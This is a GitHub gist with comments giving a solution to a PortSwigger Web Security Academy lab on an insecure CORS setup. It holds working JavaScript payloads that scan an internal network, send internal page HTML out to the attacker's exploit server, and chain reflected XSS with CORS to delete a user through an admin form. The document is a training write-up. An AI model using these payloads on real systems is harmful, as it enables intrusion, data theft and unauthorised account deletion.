Skip to content

Instantly share code, notes, and snippets.

@ChrisPritchard
Last active November 25, 2022 04:48
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ChrisPritchard/a3f67c65297e9764033e2c304114a5c2 to your computer and use it in GitHub Desktop.
Save ChrisPritchard/a3f67c65297e9764033e2c304114a5c2 to your computer and use it in GitHub Desktop.
<!-- each script tag below is a seperate exploit page to use on the server, for this multi-step lab -->
<!-- technically only the first (to find the ip) and last (to execute the delete) are needed, but the
middle two scripts were used by me to explore the site and craft the final exploit -->
<!-- find the ip address of the internal endpoint -->
<script>
for(var i = 1; i <= 254; i++) {
var req = new XMLHttpRequest();
req.open('get', 'http://192.168.0.' + i + ':8080/', true);
req.onload = report(i);
req.send();
}
function report(i) {
return function() {
window.location.href= '/?ip=' + i;
}
}
</script>
<!-- the next two blocks exfil html content for examination. it shows up in the access logs as a url encoded query string value -->
<!-- a simple way to get back the html is to paste the query string value into burp decoder -->
<!-- interrogate the content of unauthenticated pages on internal endpoint. html will be url encoded in access logs -->
<!-- this script is used to find the target area (guessed and confirmed to be /admin) and a suitable xss exploit (/login) -->
<script>
var req = new XMLHttpRequest();
req.open('get', 'http://192.168.0.141:8080/login', true);
req.onload = function () {
window.location.href = '/html?e=' + encodeURIComponent(req.responseText);
};
req.send();
</script>
<!-- interrogate the content of authenticated pages on internal endpoint via cors exploit. html will be url encoded in access logs -->
<!-- used to find the mechanics of the delete operation on the restricted admin page, so the final exploit can be crafted -->
<script>
var reportUrl = 'window.location.href = "http://ac201f5f1f699b6d809916ef01e70067.web-security-academy.net/test4?e="'
var secondCors = encodeURIComponent('var req = new XMLHttpRequest();req.open("get", "/admin", true);req.onload = function() { '+reportUrl+' + encodeURIComponent(req.responseText); };req.withCredentials = true;req.send();');
var exploitUrl = 'http://192.168.0.141:8080/login?username="/><script>'+secondCors+'</scr'+'ipt><x y="';
window.location.href = exploitUrl;
</script>
<!-- final exploit script via XSS-inject CORS attack, that deletes the target user via an admin page form -->
<script>
var secondCors = encodeURIComponent('var formData = new FormData();formData.append("csrf","8gjFWdNoTgXZ8JCYrX8t90hhbiyXv7vJ");formData.append("username","carlos");var req = new XMLHttpRequest();req.open("post", "/admin/delete", true);req.withCredentials = true;req.send(formData);');
var exploitUrl = 'http://192.168.0.141:8080/login?username="/><script>'+secondCors+'</scr'+'ipt><x y="';
window.location.href = exploitUrl;
</script>
@ChrisPritchard
Copy link
Author

This took me an entire day to come up with, largely because of some bad assumptions and acting before thinking.

@vipinbihari
Copy link

I was pretty close, I never thaught about xss in cors lab.

@ChrisPritchard
Copy link
Author

The hint for me was that the lab said 'This website has an insecure CORS configuration in that it trusts all internal network origins.'. So you need to issue the request from their origin, which means XSS typically. And then in the main CORS academy page they have a section on using XSS for exactly this issue, but with no lab attached to that section :)

Definitely the only lab so far where there are two exploits to use but they haven't explicitly identified the second (e.g. unlike the 'XXE to SSRF' lab)

@psechenov
Copy link

Thanks for sharing this.
Just a little correction.
The 3rd should also be executed by the browser as well as the 4th:
window.location.href = exploitUrl;

@ChrisPritchard
Copy link
Author

Thanks for sharing this.
Just a little correction.
The 3rd should also be executed by the browser as well as the 4th:
window.location.href = exploitUrl;

👍

@siriusblack01
Copy link

siriusblack01 commented Jun 25, 2022

In first step, inside report function, why did you use return function?
what if just use return? or even what if call window.location.href without returning it?

@siriusblack01
Copy link

In first step, inside report function, why did you use return function? what if just use return? or even what if call window.location.href without returning it?

And another question. Why can't we do redirection when we call .onload method? like this:

req.onload = function () {
    return (window.location.href = "/?ip=" + i);
  };

@ChrisPritchard
Copy link
Author

In first step, inside report function, why did you use return function? what if just use return? or even what if call window.location.href without returning it?

Because that function is executed inline - if I don't return a new function the contents will trigger straight away rather than on the onload event.

For your second question that would also work (though the return is unnecessary), but initially the report function had more functionality, e.g. logging, while I was exploring the vulnerability.

@fahad-source
Copy link

change the length of loop 254 to 255 in a first step.
Captureasas

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment